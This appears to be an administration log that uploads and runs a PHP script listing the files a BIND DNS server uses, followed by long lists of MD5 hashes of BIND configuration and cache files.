MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:58:17: Establishing a connection
2026-02-09 13:58:17: 

PUT: /tmp/pkp278439

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:58:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp278439; rm /tmp/pkp278439'

2026-02-09 13:58:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
